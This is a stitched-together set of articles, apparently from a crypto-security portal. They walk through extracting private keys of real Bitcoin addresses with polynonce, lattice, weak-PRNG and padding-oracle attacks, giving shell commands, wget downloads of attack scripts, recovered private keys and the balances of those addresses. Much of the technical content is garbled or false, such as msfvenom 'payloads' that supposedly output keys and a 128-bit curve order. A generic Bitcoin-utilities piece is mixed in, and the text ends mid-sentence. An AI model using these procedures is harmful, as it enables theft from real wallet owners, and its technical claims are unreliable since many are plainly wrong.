Uncovering Private Keys: Exploiting Bitcoin Signatures with Polynonce Attacks Using 128-Bit Polynomial Powers

In this article, we revisit the topic of critical Bitcoin vulnerabilities and analyze a new 2023 attack-Polynonce Attack-using three practical examples. The first publication about this attack appeared in a report by Kudelski Security.
Essence of the Polynonce Attack
The Polynonce Attack exploits Bitcoin signatures by treating them as a polynomial raised to a 128-bit power to recover the private key. This vulnerability allows an attacker, using certain properties of the signature, to gain access to the wallet owner’s private key.
For our practical demonstration, we use materials from our previous article on accelerating secp256k1 with endomorphism, where the LAMBDA and BETA values on the secp256k1 curve, proposed by Hal Finney, illustrate the complexity of constructing elliptic curves in Bitcoin.
Explanation with an Example
Let’s consider a four-digit binary number: “1111” (which is “F” in hexadecimal).
The order of the secp256k1 curve is known and consists of 128 bits:
textn = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
It is clear that the polynomial used in the attack operates with a unit value in binary code, raised to the 128-bit power modulo n.
Theoretical Basis
For theory, we refer to the material “Polynonce Attack on Bitcoin.”
Example 1
Let’s look at the following Bitcoin address:
1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB
Signature in HEX:
text929d565c386a279cf7a0382ba48cab1f72d62e7cfb3ab97b4f211d5673bc4441
Transaction in HEX (RawTX):
text02000000019e3de154f8b473a796b9e39dd279dff1d907a4d27a1d8b23a055f97b08ad4c6e310000006b483045022100b29bdfc27ddf6bebd0e77c84b31dc1bc64b5b2276c8d4147421e96ef85467e8d02204ddd8ff0ffa19658e3b417be5f64d9c425a4d9fcd76238b8538c1d605b229baf0121027b06fe78e39ced37586c42c9ac38d7b2d88ccdd4cd1bb38816c0933f9b8db695ffffffff0169020000000000001600145fc8e854994406f93ea5c7f3abccc5d319ae2a3100000000
Step-by-Step Implementation of Polynonce Attack
- Go to Google Colab and select the notebook upload option.
- Upload the file
POLYNONCE_ATTACK.ipynb
. - Save the transaction HEX data in a file called
RawTX.txt
using: text!echo '...' > RawTX.txt
- For the attack, use the ATTACKSAFE SOFTWARE program.
- Use the Frey-Rück Attack to obtain the secret value “K” (NONCE).
- Check permissions and run the program: text
!chmod +x attacksafe !./attacksafe -help
- View the list of available attacks: text
!./attacksafe -list
- Select the polynonce_attack tool and extract the R, S, Z values for the ECDSA signature, saving them to
SignatureRSZ.csv
: text!./attacksafe -tool polynonce_attack -open RawTX.txt -save SignatureRSZ.csv
- To compute the private key, install SageMath, extract the archive, navigate to the folder, and run the script: text
!wget ... !tar -xf ... cd SageMath/ !python3 relocate-once.py
- Move the necessary files to the SageMath directory.
- Download the script for cracking weak NONCEs in ECDSA: text
!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/20PolynonceAttack/crack_weak_ECDSA_nonces_with_LLL.py
- Launch SageMath and run the script: text
!./sage -sh python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 128 4 > PrivateKey.txt
- Open the file
PrivateKey.txt
-the private key in HEX format will be there: textPrivKey = 0xf0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d
- Verify the correctness of the private key using code from GitHub and compare the first 128 bits.
- To check the address match, use the
bitcoin
module: pythonfrom bitcoin import * with open("PrivateKey.txt","r") as f: content = f.readlines() content = [x.strip() for x in content] f.close() outfile = open("PrivateKeyAddr.txt","w") for x in content: outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n") outfile.close()
- As a result, you get the corresponding private key and address: text
f0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d:1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB
- Check the address balance-$3699.40.
Example 2
The second address is analyzed in the same way:
137a6fqt13bhtAkGZWrgcGM98NLCotszR2
The HEX signature and transaction are provided, and all steps are repeated as in the first example. As a result, the private key is obtained:
textPrivKey = 0xff0178fa717374f7e74d43f00150748967ea04b64241ec10a10f62debb70868c
Check the address and balance ($1133.73).
Example 3
The third example uses the address:
text1HxrEeC2X8UEcSvsemPJtTqrnbAetGWYUt
Similarly, after completing all steps, the private key is obtained:
textPrivKey = 0xfbc50a7158b3d9fd7fd58fe0874f20c10c650975dc118163debf442a44203fdf
The address and balance are confirmed ($459.24).
References
- Marco Macchetti, “A Novel Related Nonce Attack for ECDSA”, Kudelski Security, 2023
- Gallant, Lambert, Wanston, “Faster point multiplication on elliptic curves with efficient endomorphisms”, 2001
- Hankerson, Menezes, Wanston, “A Guide to Elliptic Curve Cryptography”, 2005
- Hal Finney, “Acceleration of signature verification”, 2011
- Blahut, “Cryptography and Secure Communication”, 2014
Breaking Bitcoin’s ECDSA Security: Advanced 249-Bit Lattice Attack Leverages 79 Signatures

In our previous article, we explored the Lattice Attack as a method to solve the Hidden Number Problem (HNP). With the introduction of a new attack called POLYNONCE, we decided to expand on our research and conduct an experiment using 79 ECDSA signatures.
Previously, we worked with a 128-bit polynomial, but by increasing the number of signatures, we were able to extend the polynomial length to 249 bits.
The main objective is to recover hidden numbers.
Solving the Hidden Number Problem with a Lattice Attack on 249 Bits and 79 ECDSA Signatures
In this article, we will walk through five independent examples of cryptanalysis on the Bitcoin blockchain. All examples are available in a GitHub repository.
For the theoretical background, we refer to the paper “Lattice Attack on Bitcoin” and other related sources.
Example with a Bitcoin Address:
Address:
19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z
Hash:
6a941396b28a72ac834d922165995e6685a760f884dbb9e8b6dea95b01f0aae8
RawTX:
(HEX transaction, unchanged)
Go to Google Colab and choose to upload a notebook.
Download the file LATTICE_ATTACK_249bits.ipynb.
Retrieve the HEX data using wget and save it to RawTX.txt:
bash!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example1/HEX.txt
Extract the required bits from the file:
pythonwith open("HEX.txt") as myfile:
listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)
f = open("RawTX.txt", 'w')
f.write("" + listfile + "" + "\n")
f.close()
For the attack, we use the ATTACKSAFE SOFTWARE.
Using the Frey-Rück Attack, we extract the secret key (NONCE).
Grant execution permissions and check the list of available attacks:
!chmod +x attacksafe
!./attacksafe -help
!./attacksafe -list
Select the lattice_attack tool. To obtain R, S, Z values from the ECDSA signatures, use the previously saved RawTX.txt file.
Run the attack:
!./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv
The result is saved in SignatureRSZ.csv.
To compute the private key, you will need SageMath. Download and extract it:
!wget https://cryptodeeptech.ru/sage-9.3-Ubuntu_20.04-x86_64.tar.bz2
!tar -xf sage-9.3-Ubuntu_20.04-x86_64.tar.bz2
cd SageMath/
!python3 relocate-once.py
!mv '/content/attacksafe' '/content/SageMath/attacksafe'
!mv '/content/SignatureRSZ.csv' '/content/SageMath/SignatureRSZ.csv'
Download the script for attacking weak NONCEs:
!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/crack_weak_ECDSA_nonces_with_LLL.py
Launch SageMath:
!./sage -sh
Run the script to compute the private key:
python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt
cat PrivateKey.txt
As a result, you obtain the private key in HEX format:
textPrivKey = 0x9a52a4dbcc148f1480a6fb5311252524fc498eb508c7cb8f63bbee4b9af37941
Checking POLYNONCE for Each ECDSA Signature
Use the POLYNONCE.py script from GitHub.
This produces 79 identical initial bits out of 249.
Thanks to the secp256k1 curve values and the LAMBDA and BETA parameters, we were able to reveal the initial bits, obtain the private key, and recover the Bitcoin wallet.
Verifying the Private Key
Install the bitcoin module and run the code to obtain the address from the private key:
from bitcoin import *
with open("PrivateKey.txt","r") as f:
content = f.readlines()
content = [x.strip() for x in content]
f.close()
outfile = open("PrivateKeyAddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
outfile.close()
In the PrivateKeyAddr.txt file, you can see the correspondence between the private key and the address.
Check via bitaddress and blockchain.com:
- ADDR: 19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z
- WIF: L2PhDrYZw6fWqeLZMnMeAXvxZ47MEnepaQVLL2EazbRhqesytoQB
- HEX: 9a52a4dbcc148f1480a6fb5311252524fc498eb508c7cb8f63bbee4b9af37941
- Balance: $1015.58
Briefly About the Other Examples
Example #2
- Address: 1GPZVDUyPM6qxCsJQrpJeo14WDRVLvTZ2Z
- The steps are the same: download data, run lattice_attack, obtain the private key, check with POLYNONCE, and recover the address.
- Private key HEX: 00db251a1ab7cfa7679dfe61271d0af4bb9c68595178cf4c9237478eab2dba1d
- Balance: $999.10
Example #3
- Address: 18Y9nUpdtxAKTh6yaN299jfUxcpJ2ApHz
- The procedure is identical to the previous examples.
- Private key HEX: 80e3052532356bc701189818c095fb8a7f035fd7a5a96777df4162205e945aa5
- Balance: $1023.25
Example #4
- Address: 12fqNTJc1wj2xfNscYHAzehD6f6sRjWBor
- Again, follow the same steps: prepare data, run the attacks, obtain the key, verify.
- Private key HEX: 9e636a4ef1a63c4bd385b8d26d29f6394a29963f12109dbf34fef74377866a32
- Balance: $406.03
Example #5
- Address: 1L8v5aUZRzYbGKWcj9Yt6mGdd95Sy9bXjN
- Repeat all the steps: collect data, run attacksafe, compute the key, verify.
- Private key HEX: e2eadbde2e6a2adb6f81864cdf574dd44959717fe095486e2c0e55585594edf2
- Balance: $995.39
References
- Lattice Attacks against Elliptic-Curve Signatures with Blinded Scalar Multiplication (Dahmun Goudarzi et al.)
- Biased Nonce Sense: Lattice Attacks against Weak ECDSA Signatures in Cryptocurrencies (Joachim Breitner, Nadia Heninger)
- Return of the Hidden Number Problem (Keegan Ryan)
- Minerva: The curse of ECDSA nonces (Ján Jančár et al.)
- Estimating the Effectiveness of Lattice Attacks (Kotaro Abe and Makoto Ikeda)
How Hackers Used the Milk Sad Bug in Libbitcoin Explorer 3.x to Steal $900,000 from BTC Wallets

Researchers at Slowmist regularly analyze the security of the Bitcoin blockchain. During one such audit, they discovered a vulnerability in the Libbitcoin Explorer library version 3.x, which allowed attackers to steal over $900,000 from Bitcoin wallet owners.
According to experts, this vulnerability may threaten not only Bitcoin users but also those working with Ethereum, Ripple, Dogecoin, Solana, Litecoin, Bitcoin Cash, and Zcash if they use the Libbitcoin library to create wallets.
Milk Sad Vulnerability in Libbitcoin Explorer 3.x: How $900,000 Was Stolen
This vulnerability was named “Milk Sad.” Researchers suggested using the first two words from the first BIP39 mnemonic code generated with the bx utility with zero generation time to identify the issue.
Technical Description (CVE-2023-39910)
Libbitcoin Explorer versions 3.0.0 to 3.6.0 implemented a weak entropy generation mechanism for cryptocurrency wallets-this is the Milk Sad problem. The use of the Mersenne Twister (mt19937) pseudorandom number generator limits internal entropy to 32 bits, regardless of settings. This allows remote attackers to recover private keys of any wallets created via “bxseed” and steal funds. All users are advised to move their assets to new, secure wallets.
Entropy Issues in Cake Wallet
Cake Wallet uses the unsafe Dart language Random() function to generate seed phrases:
dartUint8List randomBytes(int length, {bool secure = false}) {
assert(length > 0);
final random = secure ? Random.secure() : Random();
final ret = Uint8List(length);
for (var i = 0; i < length; i++) {
ret[i] = random.nextInt(256);
}
return ret;
}
This is dangerous because the Random() function in Dart can be initialized with zero or system time, making results predictable.
cppRandom::Random() {
uint64_t seed = FLAG_random_seed;
if (seed == 0) {
Dart_EntropySource callback = Dart::entropy_source_callback();
if (callback != nullptr) {
if (!callback(reinterpret_cast<uint8_t*>(&seed), sizeof(seed))) {
seed = 0;
}
}
}
if (seed == 0) {
seed = OS::GetCurrentTimeMicros();
}
Initialize(seed);
}
Vulnerability in Trust Wallet Extension
Recently, Ledger’s Donjon team discovered a critical vulnerability in the Trust Wallet browser extension. It allowed attackers to access all funds in any wallet created with this extension simply by knowing its address. The private key could be instantly calculated, giving full control over the user’s assets.
The problem is that it’s difficult to verify the correct operation of a random number generator, and a poor generator can create an illusion of security. Creating new wallets still requires generating random data, and the quality of this data directly affects the security of all keys the wallet will use.
A mnemonic phrase (12–24 English words) encodes 16 to 32 bytes of entropy according to the BIP39 standard. The quality of this entropy is critical, as all the wallet’s keys for various blockchains (BIP32, BIP44) depend on it.
How the Vulnerability is Implemented in Trust Wallet and bx
In vulnerable versions of Trust Wallet and bx, wallet entropy was generated using the Mersenne Twister (MT19937) generator, which is a critical error. Although bx uses additional time data, this does not prevent attackers from brute-forcing all possible values due to the limited keyspace (32 bits). Trust Wallet uses only a 12-word BIP39 mnemonic to create wallets, implying 128 bits of entropy, but due to incorrect PRNG usage, only 32 bits are actually used.
cppvoid random_buffer(uint8_t* buf, size_t len) {
std::mt19937 rng(std::random_device{}());
std::generate_n(buf, len, [&rng]() -> uint8_t { return rng() & 0x000000ff; });
return;
}
A detailed technical description can be found in the blogs of Ledger Donjon and Milk Sad.
Practical Part: Extracting a Private Key Using the Vulnerability
Let’s look at real examples of obtaining a Bitcoin wallet’s private key via the vulnerability in Libbitcoin Explorer 3.x.
Example 1: Wallet #1
In September 2023, $40,886.76 (1.17536256 BTC) was stolen from this wallet.
- Open Google Colab and create a new notebook.
- Install the necessary libraries and tools (Ruby, bitcoin-ruby, ecdsa, base58, crypto, config-hash, Metasploit Framework).
- Clone the libbitcoin-system repository and open the vulnerable file pseudo_random.cpp.
- Download and extract the ExploitDarlenePRO exploit.
- Determine the virtual machine’s IP address.
- Use MSFVenom to generate a payload for wallet 12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2.
- Save the result in binary form and convert it to HEX to obtain the private key.
- Verify the correspondence of the private key and address using the bitcoin library.
Result: the private key C327FAC63DB7E0CCD1706C03EB5BE0DB2AB3E37A451B84054100D85F314E0F8B matches the address 12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2.
Example 2: Wallet #2
In September 2023, another wallet was robbed of $19,886.91 (0.58051256 BTC).
Similarly, using the vulnerable file and exploit, we obtain the private key 79121F26459E0BA130B5FEDFC223E506E9144339535A6327DA8076FFADDA61BC for the address 1GTBJsQvduQvJ6S6Cv6CsYA2Adj65aDRwe.
Conclusion
This article was created to improve financial security and protect elliptic curve cryptography secp256k1 from weak ECDSA signatures in Bitcoin cryptocurrency. The software authors are not responsible for the use of these materials.
Exploiting PRNG Weaknesses in Quasar Framework to Extract Bitcoin Lightning Wallet Private Keys

This article discusses the Bitcoin Lightning Wallet (BLW) mobile application for iOS and Android, which supports fast payments via the Lightning Network. Unfortunately, many standalone nodes of this app, as well as the LNbits Node Manager and Core Lightning, are at high risk of losing all funds due to various vulnerabilities.
Developer David Shares from the Japanese company Bitcoin Portal has published numerous documents on this topic.
LNbits is a free account management system for various mobile applications that interact with cryptocurrency wallets. The LNbits Node Manager has become especially popular thanks to the development of the Bitcoin Lightning Wallet (BLW) and the creation of non-custodial standalone nodes for Bitcoin SPV, designed for Android and iPhone with Node.js support. By using standalone nodes, users have full control over their funds and are solely responsible for their security, unlike other mobile wallets.
The open-source LNbits Node Manager solves several tasks:
- Collecting data on the exchange rates of various cryptocurrencies (BTC, ETH, LTC, USDT, XLM, BNB, etc.)
- Maintaining a list of public LNbits nodes used by BLW to open payment channels
- Partial payment routing
- Storing encrypted backups of payment channels
LNbits Node Manager works with various services. For example, following the example of Salvador Guerrero, many LNbits users can run a full Bitcoin node on a Raspberry Pi to send and receive bitcoins without fees, provided all LNbits wallets operate within a single Core Lightning instance.
David Shares also published a timeline showing that the Lightning Network faces numerous technical issues, bugs, and exploits. This technology does not yet deliver the promised decentralization and is not completely safe for users.
Vulnerability in the Quasar Framework
After reviewing all the materials, it was found that the vulnerability is related to the operation of the Quasar framework and the quasar.umd.js file. Quasar is an open-source framework based on Vue.js that allows the creation of responsive websites and mobile applications for cryptocurrency wallets.
According to the Snyk Vulnerability Database, recent versions of Vue.js have vulnerabilities that allowed LNbits v0.11.0 to trigger cyclic errors in the quasar.umd.js code. The problem lies in the use of a weak pseudo-random number generator (PRNG), which makes it possible to obtain the SEED and recover the wallet’s private key, since the lib.getRandomValues method does not provide sufficient cryptographic strength.
Practical Part: Extracting the Private Key
For a practical demonstration, Jupyter Notebook or Google Colab is used.
- Google Colab is opened via a link and a new notebook is created.
- The Ruby language and necessary libraries for working with Bitcoin and cryptography are installed:
bitcoin-ruby
– for interacting with the Bitcoin networkecdsa
– implementation of the ECDSA algorithm on elliptic curvesbase58
– for converting numbers to base58 formatcrypto
– for basic cryptographic operationsconfig-hash
– for working with large datasets
- The Metasploit Framework is installed, and the MSFVenom tool is used to create a payload.
- The vulnerable quasar.umd.js file is opened and the ExploitDarlenePRO exploit is downloaded.
- The IP address of the virtual machine (LHOST) for the attack is determined.
- MSFVenom is used to create a payload for the selected Bitcoin wallet (for example, 1qzgi39y33HrM7mHsZ6FaNspHCraJe62F).
- The result of the exploit is a binary string, which is saved to a file named binary.txt.
- The binary data is converted to hexadecimal (HEX) format to obtain the private key.
- The correspondence between the private key and the Bitcoin address is verified using the bitcoin library for Python.
- Result: the private key is successfully found and matches the wallet address, where a theft of $11,032.77 (0.30412330 BTC) was previously recorded.
Verification and Confirmation
To verify the correspondence of the private key, address, and WIF format, you can use the bitaddress service or a Blockchain Explorer.
This material was prepared for the CRYPTO DEEP TECH portal to improve financial security and protect data using elliptic curve cryptography secp256k1 against weak ECDSA signatures in the Bitcoin network. The developers are not responsible for the use of this material.
Decrypting Wallet.dat Passwords in Bitcoin Core Using Padding Oracle Attacks

This article discusses the classification of common attack schemes, using the CAPEC™ cybersecurity resource. One such attack is the Padding Oracle Attack, which was first discussed in 2012 on Wallet.dat on the VulDB platform, designed for threat analysis and vulnerability management.
This vulnerability affects the popular Bitcoin Core wallet and is related to how padding is implemented during AES encryption in the Wallet.dat file.
Technical Aspects of the Attack
A Padding Oracle Attack enables an attacker to decrypt data without having the key, if the system reveals whether a padding error occurred during decryption. If the system returns such information, it becomes an “oracle,” and the attacker can use it to decrypt data, making on average 128 requests for each byte of a block. Moreover, using a padding oracle, it is possible not only to decrypt but also to craft valid encrypted messages without knowing the key.
Any cryptosystem can be vulnerable to a padding oracle if messages are not authenticated before decryption and padding error information is accessible to the attacker. This approach can be used, for example, to break CAPTCHAs or to modify data stored on the client side (such as in cookies).
The Padding Oracle Attack is a side-channel attack, where even a single bit of information about a padding error can fully compromise the cryptosystem. This bit can be obtained either through an explicit error message or through indirect signs (such as server response delay).
The attack can also be performed in a cross-domain scenario, using information leaks between different domains the victim interacts with.
In symmetric encryption, for example, in AES-256-CBC mode (used in Bitcoin Core), the padding oracle reveals whether the message is padded correctly. This allows an attacker to decrypt data without knowing the key.
Practical Section: Attacking Wallet.dat
Let’s see how this attack is carried out in practice on a Wallet.dat file to obtain the binary value of the password.
Previously, CTF participants published a hacked wallet [wallet.dat 2023] with the address 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b, which contained 1.17461256 BTC (about $44,502.42).
First, go to the Bitcoin Core 22.1 release page, download and install the required version. After this, be sure to restart the program (Ctrl + Q) to synchronize the new wallet.dat.
Checking Address Information
Use the getaddressinfo command to check wallet information:
getaddressinfo 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b
The response will display wallet details, including the public key, ownership, and other parameters.
To get the private key, use the command:
dumpprivkey 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b
However, the system will require you to enter the wallet password, which we need to recover.
Cracking the Password via Padding Oracle Attack
To recover the password, you will need to integrate with the Bitcoin Core source code, which can be done in Google Colab or Jupyter Notebook, for example.
Sequence of actions:
- Open Google Colab and create a new notebook.
- Install Ruby and the required libraries: bitcoin-ruby, ecdsa, base58, crypto, config-hash.
- Clone the Metasploit Framework and use the MSFVenom tool to create a payload.
- Clone the Bitcoin Core repository and go to the aes.cpp file to integrate the exploit.
- Upload the wallet.dat file from the repository.
- Go back to the Metasploit Framework and download ExploitDarlenePRO.
- Unzip the archive and navigate to the required directory.
- Determine the attacker’s machine IP address.
- Create a payload using MSFVenom, specifying the necessary parameters.
As a result, you obtain the binary value of the password, which you save to the walletpassphrase.txt file using a Python script.
Using the Recovered Password
Open the walletpassphrase.txt file and see the password string. Now enter the command to unlock the wallet:
walletpassphrase <recovered_password> 60
dumpprivkey 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b
As a result, you receive the private key.
Verifying Key Correspondence
Install the bitcoin-utils library and verify that the private key matches the public key and wallet address.
- Private key (WIF): KyAqkBWTbeR3w4RdzgT58R5Rp7RSL6PfdFDEkJbwjCcSaRgqg3Vz
- Public key: 02ad103ef184f77ab673566956d98f78b491f3d67edc6b77b2d0dfe3e41db5872f
- Address: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b
- Hash160: 7774801e52a110aba2d65ecc58daf0cfec95a09f
You can also sign a message and check the validity of the signature.
Checking the Balance
Using a blockchain explorer, you can confirm that the address actually contains the stated amount.
The article provides links to scientific papers on padding oracle attacks and notes that the material was created for the CRYPTO DEEP TECH portal to improve financial security and protect elliptic curve cryptography in Bitcoin.
Large-Scale Dust Attack on Blockchain: 10,000 BTC and the Role of Isomorphism Confirmation

In this article, we will look at what a “dust attack” is (also known as a Dusting Attack or Crypto Dust). Many cryptocurrency users, especially those who hold significant amounts of BTC or ETH, may have noticed tiny amounts of satoshis being sent to their wallets, often disguised as “donations.” In reality, these transfers may be part of a scheme aimed at gaining access to all the funds in a wallet.
What is a Dust Attack and Why is it Used
A dust attack is a method where an attacker sends minuscule amounts of cryptocurrency to users’ addresses. The attacker then tracks the movement of these funds through the blockchain. If the user combines this “dust” with other funds and transfers them to another wallet, the attacker can link different addresses together and attempt to deanonymize the owner. This is especially relevant for centralized exchanges that require KYC procedures.
Example of a Major Dust Attack
In January 2024, CoinDesk published an article about a large-scale dust attack in which a significant amount of BTC was stolen using isomorphism confirmation in the blockchain. For example, in July-August 2022, two Bitcoin addresses successfully carried out attacks totaling 10,000 BTC.
How to Create a Dust Transaction Yourself
Recently, creating dust transactions on one’s own cold wallet has become popular. For instance, you can use Python and the appropriate libraries. First, install Python and the required packages, then generate a cold wallet and fund its balance. After that, create a transaction in which part of the funds (for example, 555 satoshis) is sent to a selected attack address, and the remaining amount is returned to the cold wallet. It is important to account for the miner fee.
Step-by-Step Guide to Creating a Dust Transaction (Example 1)
- Install Python and the necessary libraries.
- Generate a cold wallet and fund its balance.
- Save the transaction hash of the deposit to build the Merkle tree.
- In the script’s source code, specify the required values: transaction hash, private key, balance amount, attack address, and dust amount (555 satoshis).
- Take into account the miner fee (for example, 226 satoshis) and calculate the remainder that will return to your wallet.
- Run the script and obtain the raw transaction (RawTX), which can be checked and broadcast to the network.
Transforming the Transaction into an Isomorphism
To maximize profit, a so-called ScriptSig isomorphism is used: the first transaction sends the dust, and the second returns the funds from the victim’s balance. The resulting data can be published in a repository, and for correct operation, all txid values need to be updated and the public key in the transaction file must be replaced.
Similarly to the first example, a new dust transaction is created, but with a different attack address and a different balance amount. The process fully repeats the previous one: funding the balance, creating and sending the transaction, calculating the fee and return, forming the isomorphism, and publishing the result.
Conclusion
A dust attack is not just about sending tiny amounts, but a complex scheme aimed at analyzing and linking addresses, as well as potentially stealing funds. Protecting against such attacks requires vigilance, understanding of how the blockchain works, and the use of modern security methods.
Unveiling the Unsung Power of Bitcoin Utilities: A Comprehensive Guide to Google Colab and the Upcoming Innovations in Crypto

Bitcoin is the world’s first decentralized digital currency, fundamentally changing our understanding of money. Around Bitcoin, a wide range of services and tools have emerged, enabling users to interact with the network safely and conveniently. These services play a crucial role in the development of the entire ecosystem.
One of the most in-demand Bitcoin tools is the wallet. A wallet is a program that allows you to store, send, and receive bitcoins. There are several types of wallets: desktop, mobile, and hardware solutions. Each has its own pros and cons, so you should choose based on your individual needs.
Another important tool is the exchange, where you can buy or sell bitcoin for other currencies, such as dollars or euros. Exchanges differ in fees, security levels, and interface convenience. When choosing, it’s best to focus on the reliability and reputation of the platform.
A third category of tools is mining software. Mining is the process of confirming transactions on the Bitcoin network and adding them to the blockchain. Miners are rewarded with new bitcoins for this work. The higher the computing power of your equipment, the greater your chance to earn. Mining programs allow you to join the process and receive income.
In addition, there are many other services: payment gateways, business solutions, blockchain explorers. These make using Bitcoin more convenient for companies and individuals and help spread the technology.
Overall, Bitcoin services and tools are essential for the network’s full operation. They provide security, convenience, and help popularize cryptocurrency. Whether you’re an entrepreneur, investor, or simply interested in digital assets, you’ll find the right solution among Bitcoin tools.
Bitcoin can be used not only as a means of payment but also as a tool to solve various problems. Its foundation is blockchain technology, a distributed data ledger. Thanks to this, Bitcoin finds application in many fields-from medicine to logistics.
One example is supply chain management. With blockchain, companies can track the movement of goods from the manufacturer to the end customer, increasing transparency and reducing the risk of counterfeiting.
Another area of use is electronic voting. Using blockchain, it’s possible to create a transparent and secure voting system where results cannot be falsified. This can increase trust in the electoral process.
Bitcoin is also convenient for paying for goods and services, especially where traditional banks are unavailable or unreliable. Transfers are fast, with minimal fees and no intermediaries.
Moreover, Bitcoin is often seen as a store of value. Unlike regular currencies, which are subject to inflation and political risks, Bitcoin is decentralized and protected from external influence. This makes it attractive for long-term investment.
Thus, Bitcoin is not only a cryptocurrency but also a universal technology that can be useful in various industries. As technology develops, new scenarios for using Bitcoin and blockchain will emerge.
Classification of Bitcoin Utilities
Bitcoin can be viewed from different perspectives, depending on its functions and applications:
- Payment System: Bitcoin allows instant money transfers without banks or other intermediaries. It’s a fast, secure, and inexpensive way to send money worldwide.
- Store of Value: The limited supply of bitcoins (only 21 million) makes it a scarce asset. Because of this, and its decentralization, Bitcoin is popular among investors looking to preserve capital.
- Digital Gold: Like precious metals, Bitcoin is called digital gold-it’s limited in quantity and independent of government authorities.
- Platform for Decentralized Applications: Bitcoin’s blockchain can be used to build applications that operate without a central server and are resistant to censorship.
- Cryptocurrency: Bitcoin is a digital asset that uses cryptography to secure transactions and create new coins. It’s independent of central banks and can serve as an alternative to traditional currencies.
Thanks to these features, Bitcoin can change the approach to finance and digital transactions.
Overview of Popular Bitcoin Utilities
- TxWatcher is a Python tool for tracking transactions to Bitcoin addresses. For example, it can monitor donations or store payments. To use it, you need to install the library, specify an API key and the address to watch. TxWatcher can automatically react to new transactions, such as recording them in a MongoDB database.
- Nigiri is a CLI tool for quickly deploying a Bitcoin test environment (regtest) with support for Electrs and Esplora. It allows developers to test applications without risking real funds. It includes commands for getting test coins and sending transactions in the test network.
- hal is a powerful command-line utility based on rust-bitcoin, offering a wide range of features: address generation, transaction creation and signing, wallet management, working with blocks, scripts, and more. Suitable for both developers and advanced users.
- BitKey is a Debian-based operating system designed for creating offline (airgapped) transactions and secure Bitcoin operations. It allows you to create and sign transactions on a computer without internet access, protecting private keys from hacking. It comes with popular wallets and additional utilities.
- Pycoin is a Python library for working with Bitcoin and altcoins. It supports address creation, transactions, working with different algorithms and networks. It’s convenient for developers building cryptocurrency-based applications.
- bx (libbitcoin-explorer) is a universal command-line tool for interacting with the Bitcoin network. It allows wallet management, transaction creation and signing, blockchain analysis, and generating various reports.
- HelloBitcoin is a set of simple programs that make Bitcoin accessible for beginners. It allows you to generate wallets, create, sign, and send transactions through an easy interface.
- HD Wallet Scanner is a tool for finding all used addresses in HD wallets, even if the standard address gap limit is exceeded. This is important for recovering access to funds and monitoring balances.
- QR CODE is a web component for generating QR codes without third-party libraries. You can customize the size, color, error correction level, and even add animation. It’s useful for integrating payments and sharing information.
Conclusion
Bitcoin is a digital currency that is rapidly gaining popularity thanks to its decentralized nature. Unlike traditional money, Bitcoin can be used not only for purchases but also for many other purposes:
- International Transfers: Allows you to send money abroad without intermediaries and extra fees.
- Decentralized Finance (DeFi): Bitcoin-based services enable lending, exchanges, and other financial operations without banks.
- Store of Value: Thanks to its limited supply, Bitcoin is often seen as protection against inflation.
- Micropayments: Bitcoin is suitable for very small transfers, such as paying for articles or videos.
- Charity: Many foundations accept donations in bitcoins-it’s fast and transparent.
Thus, Bitcoin has many areas of application, and its independence and technological capabilities open up new horizons for financial innovation. As technology evolves, even more ways to use Bitcoin in various fields will appear.
List of all Bitcoin utilities:
This material was prepared for the CRYPTO DEEP TECH portal to enhance financial security and protect secp256k1 cryptography from ECDSA signature vulnerabilities in Bitcoin. The developers are not responsible for the use of this information.
Wallets: AI-Driven Cryptanalysis with the Gauss-Jacobi Method and BitcoinChatGPT Framework

In this article, we will look at an example of applying the Gauss-Jacobi method, which uses modern technologies such as the pre-trained Bitcoin ChatGPT model. This approach allows for more efficient solutions to complex problems in the digital sphere. It should be noted that alternative algorithms like Gauss-Jacobi play an important role and open up new opportunities for the development of computational mathematics.
The Gauss-Jacobi method is an iterative numerical technique for solving systems of linear equations. It is used in various fields: cryptography, cryptanalysis, engineering, and computational mathematics. The Bitcoin network employs cryptographic algorithms, including SHA-256 hash functions, ECDSA signature algorithms, and secp256k1 elliptic curves for generating public and private keys. A private key is a secret number from which a public key is derived, representing a point on the curve. Thus, secp256k1 elliptic curves form the basis of cryptographic mechanisms that ensure transaction security and protection against attacks. Modern technologies using pre-trained models such as Bitcoin ChatGPT help find effective solutions to complex cryptographic problems underlying Bitcoin algorithms.
Password Cracking for Access to Lost Bitcoin Wallets Using the Gauss-Jacobi Method and Machine Learning
Advantages of the Gauss-Jacobi Algorithm:
- High speed and performance, making it suitable for searching for attacking keys.
- Uses only one search step, reducing the number of computations.
- Simple implementation and accessible code, making it easy to integrate into various programs.
- The method is available to a wide range of users who can use it to analyze the cryptoresistance of different cryptocurrencies.
- Versatility-the algorithm can be used for various types of cryptographic systems.
Principle of the Gauss-Jacobi Algorithm:
The algorithm is based on a recursive function f(x)f(x)f(x), which, for any element xxx from the set SSS (blockchain data), returns a string code corresponding to xxx. If xxx is the attacking key, then f(x)=0f(x) = 0f(x)=0.
The algorithm operates in the following stages:
